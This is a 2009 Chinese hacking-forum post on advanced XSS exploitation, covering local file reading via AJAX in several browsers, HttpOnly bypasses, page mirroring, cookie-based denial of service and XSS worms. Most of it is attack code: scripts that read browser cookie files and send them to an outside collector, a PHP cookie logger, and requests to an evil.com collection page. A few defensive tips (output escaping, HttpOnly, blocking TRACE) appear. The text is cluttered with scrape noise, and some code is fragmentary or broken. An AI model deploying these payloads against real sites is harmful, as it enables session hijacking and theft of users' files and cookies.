XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
/ m8 f9 _) i: v本帖最后由 racle 于 2009-5-30 09:19 编辑 , v% d3 d% Y& C4 [
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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! u! y$ y6 z! w/ ?" T6 G" dhttp://bbs.tian6.com/thread-12711-1-1.html( H6 n; t2 ^# C, F5 l; |
转帖请保留版权
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, q* W# ]4 \. @-------------------------------------------前言---------------------------------------------------------
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! [ H9 o6 r, n2 z本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读: q: a e3 k! [
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
5 ]9 T- M& S/ Q! ?& nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
: p4 K! C4 A( H/ a0 B5 Qhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过% G" ~- ~- O# z6 Y2 F+ c
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF2 ^. ?$ ~+ d& [
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码5 F8 b8 O% Z2 g/ v: Q, z
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.2 d7 n2 X3 r9 h' h; S# i
$ C8 P. r- \3 j+ C) @8 a如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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' w( \) i, x2 Y' DBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大& Y3 c! ~4 {; k; ~) S& |
3 P( E3 _- }/ j# t. A0 `QQ ZONE,校内网XSS 感染过万QQ ZONE.
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8 s2 K5 E+ N# K4 OOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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5 ^3 ]! d8 x( ?# E- m复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
! p$ K& q5 V2 M* T* `, M+ Q1 F复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.; F+ D: \, C8 D( d
我们在这里重点探讨以下几个问题: U& d* t# h. D5 B
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1 通过XSS,我们能实现什么?
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$ K3 m/ ~- |: Q2 q% m# }2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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e# l, a3 j4 e2 k* @! d) [4 b+ I3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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) j4 E5 ?- Z% n. v* f. t( ?0 v4 XSS漏洞在输出和输入两个方面怎么才能避免.8 H! @+ }/ B' s
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$ g9 `' ^2 s0 N8 j" l------------------------------------------研究正题----------------------------------------------------------& a, O7 b) {4 p; ?6 e, t
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! k, f/ e, C( ^ T通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
' N! A( Q0 \/ p复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫& f3 ], z' T- g8 q; K
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
2 H+ m7 ?: ], j5 x# N0 o1 v1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
: i- ^- q& O3 L. V) r2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.& O4 e3 c" y4 _5 f4 y# r3 U7 D) ^
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4 ?9 g6 N, X+ G4:Http-only可以采用作为COOKIES保护方式之一.
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# m- w5 A [" ^# D) {8 V% R9 F(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)8 T) K* G" a1 j
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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9 }+ M0 M) i, a0 | 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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. L/ v0 |4 \% @& V+ n- G 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制. F/ ?5 T7 R$ w- v
复制代码IE6使用ajax读取本地文件 <script>1 F( d# b" _: M3 J* ^
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function ajax_obj(){
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var request = false;
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} else if(window.ActiveXObject) {1 ~/ N! f4 |& I$ l7 m
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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request = new ActiveXObject(versions);
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}
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var _x = ajax_obj();1 U( }) |: z/ k5 y0 h' { B, {
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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_x.send(argv);/ u% V+ {8 g; f+ w
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return _x.responseText;
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}
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H/ o2 G5 k" ~+ T5 ^0 i6 ~ </script>
4 q* Z/ m) `3 |0 c. z+ s4 c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}- D: t+ r& C F2 D0 q
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function ajax_obj(){
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var request = false;
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2 f$ K6 j! M3 G) F, H/ _7 P! B if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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P' D$ ~# q, ?0 s* v, D 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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}
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_x.open(_m,action,false); U( h# j, ?+ u& O
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");( Y- {* o8 N* w$ ]$ C
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_x.send(argv);; o/ t+ q, ^ X( d, }" K& a
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return _x.responseText;2 b Y- U. x, X# _2 d* k1 m
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var txt=_7or3("GET","1/11.txt",null);7 E& z9 c! ?9 @) ^; z
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</script>
9 Z: K% S1 S$ u: q1 ~% J* b复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"0 M3 F2 K3 q' R5 @( _) ]; U
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/*
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q% ~: ~( m# { Chrome 1.0.154.53 use ajax read local txt file and upload exp 5 }3 J& n6 e% T- e
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www.inbreak.net 2 u1 j' |4 H3 m1 i+ P
2 C/ L0 D& f( J6 V8 `7 L4 K author voidloafer@gmail.com 2009-4-22 4 \/ `" E7 ]4 K: c! a5 Z
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local. " p) b5 w' o v: i0 P
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*/
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 2 v4 R4 y m! ~: @0 `
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<input id="input" name="cookie" value="" type="hidden">
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# k n" s5 Y5 I7 h- p" r<script>
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" Z# E G/ G/ }5 U+ o* L9 ufunction doMyAjax(user)
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/ w2 S# L7 w3 x4 c( W, k6 tvar time = Math.random();
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/ J9 d8 [- u& dthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default ) }/ [3 `, O, {+ w3 E7 x3 ]* e
. s9 W1 j- L4 n$ uand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 4 t B ]: T& `5 s8 n
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*/
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& W; V4 Z) l$ b. y# Hvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer);
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% P- {( E# U. T, ^
function Enshellcode(txt) 7 p1 W8 q/ G m5 p# E1 I; b
1 b4 ~- V( I, T1 u! w% S7 \{ - m! x8 U$ k3 C: i/ g+ X
( a* [3 i5 H" ~' A$ ?2 q# G; T, n# Ovar url=new String(txt);
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var i=0,l=0,k=0,curl="";
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l= url.length; 3 ` f+ z6 h$ q5 g2 e2 n! a
% |6 R6 P: F- B T
for(;i<l;i++){ : B5 k4 k- |9 ]8 c. J
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k=url.charCodeAt(i);
' {. {" j& @# G
6 N8 ^3 y% R9 b' rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 2 N7 w/ a% U' Z6 M4 p* l' a
% b: U9 i1 W. \
if (l%2){curl+="00";}else{curl+="0000";} : g6 Z! {+ q/ o0 A2 K: a
% h" G; r2 ~; X7 l \* E- f ?curl=curl.replace(/(..)(..)/g,"%u$2$1"); * Y( O) _# n% S$ N# j, k
# W' o* V5 n! N9 Q( Kreturn curl;
% `2 d/ V+ m* b8 Y; h- Y) B2 N, V. R8 a/ ?' [) X7 t
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5 R1 @' u7 \% Z0 \5 g
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& M% p) S6 x g9 b( E4 ~var xmlHttp; 7 A) f1 m, |) ]
1 j* X, I+ b1 i! t
function createXMLHttp(){
1 ?+ W& L7 P Q" p' j. |' K0 c0 s$ }6 _: D2 U: j
if(window.XMLHttpRequest){ 9 z( O# y R5 J# }
9 \' e# t, ]0 p& g: v
xmlHttp = new XMLHttpRequest(); 5 i& j, F! L. G/ R
3 m: p" c) m$ P }
4 d. i* d+ }8 m4 u4 h& H
% j& S. h" v6 s& [# @4 L else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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+ j0 i0 L- M: ^$ D
function startRequest(doUrl){
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3 q+ Q1 s3 }; h0 G' Y8 u) k" n B0 F% @0 c. s% w9 ]
+ ~. I% p' |; u0 [9 n5 s
createXMLHttp(); . F6 A# T# g$ A$ x
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xmlHttp.onreadystatechange = handleStateChange; - o! P1 x `! z
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+ A, r2 Y/ R# y; V' K q) ]7 N xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); ) V4 X0 C o, M$ Z5 y
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+ Z; _( Z) {* w1 ^2 b$ r* e$ y) i$ \6 P% t0 ?( f. R/ V* u" O
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& {* ^8 ?* W' ~) {" Q+ v0 S3 D' e} . h, S( |3 F5 U. X& }$ r
* y" @2 q0 H$ l/ }6 P% c" N
5 m" o9 g2 ~7 _" _+ ` K& W
) y8 e7 \" T6 p9 c/ _6 d [/ ^function handleStateChange(){
3 s7 D& j3 U @( v) }8 S" j8 Q4 k( o$ O3 u/ y
if (xmlHttp.readyState == 4 ){ $ V/ G/ z/ m' M# [
& B* A6 A0 W% |- V! t var strResponse = "";
2 N: W+ x( |3 l( B$ ^
2 S# T# N0 s$ C* |+ j0 p setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); . B' ~' L# D% [* _' z1 W* b3 i
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}
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7 M# w$ J4 W D9 \function framekxlzxPost(text)
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{
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x% q4 j7 ^9 i# o2 Y document.getElementById("input").value = Enshellcode(text); 7 ]; g" q9 _" B
8 c% J0 y; I, Z! x5 R! }( X! ~ document.getElementById("form").submit(); & S4 d/ _9 |: [2 Q: f' w$ F
% v% G4 |7 _% ~$ e9 q- E} - A, S7 o& _' u& y- B7 g
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6 [) C3 d/ |4 m/ s
( i* k7 w$ x' PdoMyAjax("administrator");
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</script>
& C2 H& a+ J& b0 R' @5 d复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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' }7 u" A2 n. E2 ~9 X. |var xmlHttp;
1 `& M& p5 W8 _9 V& N$ w& j+ E" }4 g/ V
function createXMLHttp(){ % p5 ~, n; j5 M' c, h; q& B* e
- _4 w; g( ~! \$ c* n! i- I' { if(window.XMLHttpRequest){
. B9 Q' Y3 F( C8 N8 J
; @: ^2 O7 o3 m6 o0 b xmlHttp = new XMLHttpRequest(); : M9 K% M2 u; u. y
, U: ~ a8 D" b9 x6 Q }
+ o: @/ w7 k5 @- ?) l# |6 w8 Y- h2 ~% }# C& [6 j; _, K+ j6 `2 H
else if(window.ActiveXObject){ ( X( r9 P! P- _
0 B' ?, h; D9 D2 S* E8 y8 V. v xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% t3 C/ x+ F/ n5 e
! t" Z- c2 O# M. b+ S* c6 b4 V3 H }
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} 7 D) o3 M# R/ Y
# e8 k6 w/ Y' V9 n
+ ?% a- A8 b' I% }, [( v+ m7 f9 ]9 |8 w+ }4 y% Y
function startRequest(doUrl){
) c" s' W" b1 R3 v: o% j* B) b2 f: Y) E" |; p; F" f; t: ]
5 h+ n$ l9 z4 \3 i+ C8 e; [1 C& e3 b- [
createXMLHttp();
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- `% P* E/ S$ }
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* }( @! y. i+ l! S/ M: S7 g xmlHttp.onreadystatechange = handleStateChange; h* a0 U% s. ]0 O- {# p6 b
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xmlHttp.open("GET", doUrl, true);
9 f4 s2 E+ ^) l6 \# c: T5 n+ ?) a0 @9 q3 ^; O# E1 N( F3 H3 t. K4 L
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xmlHttp.send(null);
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5 a/ v3 l$ S- G
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f' ^6 g! I8 ]5 F5 J5 S}
5 g% [5 l7 p. o* f5 Q
! l6 m% `& l- m 1 V! V% U$ S& V5 \2 r, k$ z# A$ \9 b
2 ]3 P$ l9 Y% F; s1 s8 }
function handleStateChange(){ ! m* T2 G8 K5 d5 w C
4 H6 V5 S$ h8 i, K- r if (xmlHttp.readyState == 4 ){ ) @! _6 {( u0 g6 e& @+ ^
7 i( f# i, T$ ~. O var strResponse = "";
" H1 ]- P% T$ b" f3 s
/ |) c: n: ~, Y% \7 U S setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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( y6 T! U, T* Z7 j4 A R# u/ h
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' X6 @& I9 T, r. j% f}
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( V5 d* Q- M( d* L
4 u _5 X6 Q8 v0 O( [' i; d2 n
function doMyAjax(user,file) . P# k: f1 {, K- M* _, z( ~/ r
! w6 E: V5 s! ?
{ 4 }' h- R, ]' c* W% ^- {0 C5 o
1 ]2 E: W) E. t G# c$ u" |( n
var time = Math.random();
+ w' v* [4 D& ^: `5 w# d5 \9 ^' L6 r2 @9 L# G2 S/ N
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0 g/ _3 {- J5 E! ]% P4 S5 ~
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; , ~; d/ S" ], c* c
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0 v! y8 X. E6 I8 L6 t" L, @. @' V; u% @
startRequest(strPer);
3 l4 ? ~0 j/ e7 V
1 Q7 r0 @0 p: K3 q; e5 F3 D 5 r$ l$ P/ ?( V A* n0 S
8 h! W. }8 `5 @% d% b# A/ _}
# i6 ]5 T. z" D- B+ f- D& m0 f1 s v3 p# V
# _# p" I( t9 J- Y) i A/ W2 L& ^9 Z5 D' K% X- l: n/ d7 t) ~
function framekxlzxPost(text) 5 Q- U7 c B5 P$ @
! f2 a8 o" q6 V
{ " j" c- b, G8 u, [
: L# W; J2 ^3 M( h+ z document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
$ E% _9 K2 N4 d7 [6 g* w/ e$ r* R7 Y0 C( w; v0 Q) H: T4 j, D
alert(/ok/);
0 t, B0 f2 S, `. o4 v
. n1 M0 z/ u( r% K1 R}
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+ Y S7 H7 v& Q: I
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doMyAjax('administrator','administrator@alibaba[1].txt');
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: `3 L, Q s# u! Y6 V
* r- W. k; m) z. ~. U; y1 S</script>& ~+ h& [$ m6 Z5 M3 X! S
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% |# Y* {; _' i0 x' |* U: J/ h; H0 A5 u5 c& I: ?& c& C6 V+ x: V+ M1 L# m/ A
a.php
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& i4 l/ y+ A. |/ y! f8 e
<?php
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7 B) U3 M2 I' f: {. H$ M- P( P
+ e3 W; J5 W5 Y7 a- w7 ^$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
- \8 {8 n4 P# n( Q X _
8 o/ U* a( q. Z& j$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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G, G( X* s8 L
' d* e+ P- y$ }" T: Z- C4 p
4 R1 E+ \& O5 {0 E$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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5 ]; m8 X8 D ?% W# }5 pfwrite($fp,$_GET["cookie"]);
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2 G& Y( h" ~* ?3 i7 l7 |fclose($fp); : k, u( s# e( e+ }- J6 ?/ q) [
" g0 X1 A8 w( e
?> # ?& R6 q& ]; t
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS: q6 j& i& g' u6 q& f+ Z
y' e0 O, n3 R" j4 |或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.! g, C: {& p2 r( b# V0 F
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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3 E( }* A* i2 a//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);/ \) F0 X. W6 M+ N7 v
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {
4 Y# W9 C; k2 X0 I1 |
* b9 ?% [; H: s% b5 n. U- q2 Z3 Kvar image = new Image();* a1 f$ r1 N0 V
( w) I" p$ R- P* U, b4 }image.style.width = 0; ^- K4 j/ {; z' b8 {6 d' c
3 q5 r( o9 s0 {" }image.style.height = 0;
( I' d2 s$ X% ]9 K! D6 A
3 n0 x, a# v Z* Q# y2 S8 R' nimage.src = s;
8 u2 p6 E# g; m! P4 Z$ b' S" k: A3 ~0 |% f$ S
}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
, C: F% ]0 L7 x复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: Y8 U; h# o/ @6 W$ [3 x: R8 N7 S+ u2 T% Z这里引用大风的一段简单代码:<script language="javascript">' S/ G/ z, r) }6 ~
# o2 G( L3 H- Z I. j& j! }var metastr = "AAAAAAAAAA"; // 10 A" g% `! Y+ O" g) ?' K+ I
, }) B) y3 `8 J+ M4 f- H* W8 }
var str = "";
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while (str.length < 4000){
! f2 |! }% f7 f* ^
$ i1 M# j5 T) [ str += metastr;# z `# ]( F3 n
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, ]' Z1 A& l" B' A! J. O6 W3 Cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS6 P, m+ |0 J4 p7 T
" O4 q$ |/ k! D7 }& A2 M</script>8 Q7 L- n5 e! Z( f, p
6 W+ n6 K5 V4 C3 A) B
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html' O1 B/ S, H G6 a2 h, p& p
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.- |4 L+ J3 R/ n3 D! y# R, m& H
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150+ P2 @& ^; `: g: h- I, q% k
5 [* B* a; r) C6 K' s. e- Q c假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
" ?3 P8 g+ Y1 Y) }攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.. h. W$ Q0 v2 q ?7 |
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g0 D! }/ _+ `
3 V1 d6 N/ o. H( H, f(III) Http only bypass 与 补救对策:
! j; ]/ q8 [8 l7 M/ C r# m3 G- |; N4 t* g# z. ]# u/ f
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
8 b3 [8 r5 J2 d C! u以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
9 k, t* E' ~* o: t9 R- G5 ^$ l% C. @8 v3 ?
<!--6 J! A% x6 r, C9 p* O; a: j
W+ b6 ?( y- y# O6 |. n9 l
function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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7 Y9 b* e: }1 z7 Q. L}( j4 W, J5 {* y3 z& n
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$ \: j$ q' }9 U: y
( k' R7 }6 g8 X+ j. ~
1 {1 ?5 a: t/ k# i% t ?( X8 ffunction httpOnlyCookie() {
j7 j. T( o- V) G! R8 E, \" `0 }& T! Y3 j) c0 |) k. n# z
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; * [, v( s# T1 j$ i7 C& [7 u: s
% l. `: P+ H/ calert(document.cookie);}4 w# |# ]3 _3 [* y# ^% U* n! A$ T
& P6 }* a Y& H& u- V e1 f" a; b9 |5 t2 {7 C5 S
- i8 n9 F. e/ |
//-->
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. `3 p# L$ ~* }</script>" Q2 m6 _9 \( ^5 C
3 {# o5 h* \' _
g @/ N$ K8 u5 c3 i2 v
4 I$ M+ s6 ^( S# R& [$ b<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( H6 m& \5 F6 u0 F0 i2 Q" g' O8 e2 Y: f' N2 L! g. d& L0 v
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
6 U' ~5 ~: f( C5 z6 Q5 z; L5 N复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
% ?. j8 V+ k( k6 T5 ~3 ^/ ^" s9 R* }7 w" J" m+ o
" `( M# M# r) G0 a9 R( P. X2 _8 s6 R: ~0 M
var request = false;
7 G, S" p1 M {- M7 s$ m3 H
: T7 X; b: H" I) H ?& A1 l% z if(window.XMLHttpRequest) {# v5 v# K) E0 @+ w
9 S& @' X; d4 t" U request = new XMLHttpRequest();
; ?' b/ h% u+ T0 `) E7 R7 ~7 F& [ _$ X9 o9 p& J; O! {
if(request.overrideMimeType) {* m# n! B: s% m- ]0 t
; G4 F6 P, G5 |8 X. s( n( ^) o- T
request.overrideMimeType('text/xml');: S7 s5 A: t2 Z4 Q
8 d& o6 Y6 P: d& z# x$ J V: Z
}
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7 `! R( i+ [# |" x } else if(window.ActiveXObject) {; w& I* d C3 W) x. X: V
B2 O% _ v d8 q# b var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];* s8 ^3 R% e T( [' ^
! m. B0 q( d, e( W for(var i=0; i<versions.length; i++) {
3 B, T* M* m) ~9 m# \$ x6 g
" Z8 a# f8 c, F( q try {
+ c# S9 g. h( \2 q7 a9 B7 M* R7 U$ a" r9 u$ x" s @1 x9 l7 L7 `
request = new ActiveXObject(versions);% E9 O# m6 L1 Q. _8 W
* p' O# K z2 b' U/ O( t% x
} catch(e) {}
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xmlHttp=request;
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1 L+ q( } h- x5 {8 X# ~4 TxmlHttp.open("TRACE","http://www.vul.com",false);+ a. g7 q: w& M' ^8 ^; T9 O- y
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xmlHttp.send(null);9 b( W% E v* Z; S& O7 Z8 U
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);4 R& T4 m" l0 Y. o( u, o1 I
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</script>
; d, P) b7 ^7 F# m. A) L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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; l0 v" ~' i( Z6 h$ w7 |2 Wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 g" t. Q, M" H9 h1 u" [
. Y, M3 M( m+ p% GXmlHttp.open("GET","http://www.google.com",false);. S7 c! E& [" x$ a; b# {& m' G# o' O
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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var resource=xmlHttp.responseText
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resource.search(/cookies/);
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......................
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</script>
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3 Z7 U; b$ ~: ?. o' ]& e; w- [ P, O& a
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|) ]( P9 W4 g# b# n9 L% L R
1 h8 g( g% d# P1 o如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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0 `5 F5 m" \ N H[code]
1 ]4 h$ x: b& L3 V! ?4 `; l, x9 ]) u. [+ w6 L) C' \
RewriteEngine On$ T' A" @4 z; p; `# @6 O: F
$ [* ~9 R2 N' M* N# ]' p, a
RewriteCond %{REQUEST_METHOD} ^TRACE
& }9 R* H: {0 r/ f3 A1 y: w6 E0 B% u& U8 J; L( {+ a/ @* w
RewriteRule .* - [F]
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8 k/ S) Z/ ^7 n. s( S w/ m8 K: Q7 _
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
- E& n5 l6 z1 k% E/ a$ ]' ]+ b( B `1 [
acl TRACE method TRACE1 J. O0 g, C/ S( x: G9 N
+ S) L3 f3 g- h2 T0 I8 m
...
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8 G/ P+ K6 o. U; {) b0 K( I9 O7 Bhttp_access deny TRACE7 S$ j; s- L, a i! S! Z
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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1 u$ L* }9 {6 Z! u7 H( h6 jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");, l" Q5 l/ ]' {$ s/ R
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XmlHttp.send(null);. D6 ^- p- z; }, u
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</script>) D7 R3 \ o: O9 o. u3 H
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");, R) R' I& \. A
J: f- D2 C1 K( n1 i! e0 t4 Z8 ]3 d' U! @* n% R+ C
5 G) R3 u. u! pXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);# j8 g6 M4 F2 E; _$ D9 h. w
$ q4 a G8 _8 N$ x' kXmlHttp.send(null);
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<script>! e" a! C# z& |9 |4 x8 B3 M
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.4 q- g4 K' ?6 N# n- C% @1 y
复制代码案例:Twitter 蠕蟲五度發威
9 B3 |' w5 x1 g5 ~2 N+ Z1 I6 Y第一版:5 J) q% {& n" g! K0 L3 y9 C" f
下载 (5.1 KB)
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& n4 K$ Y. M* U/ l6 天前 08:27! B- V E1 G/ F. B
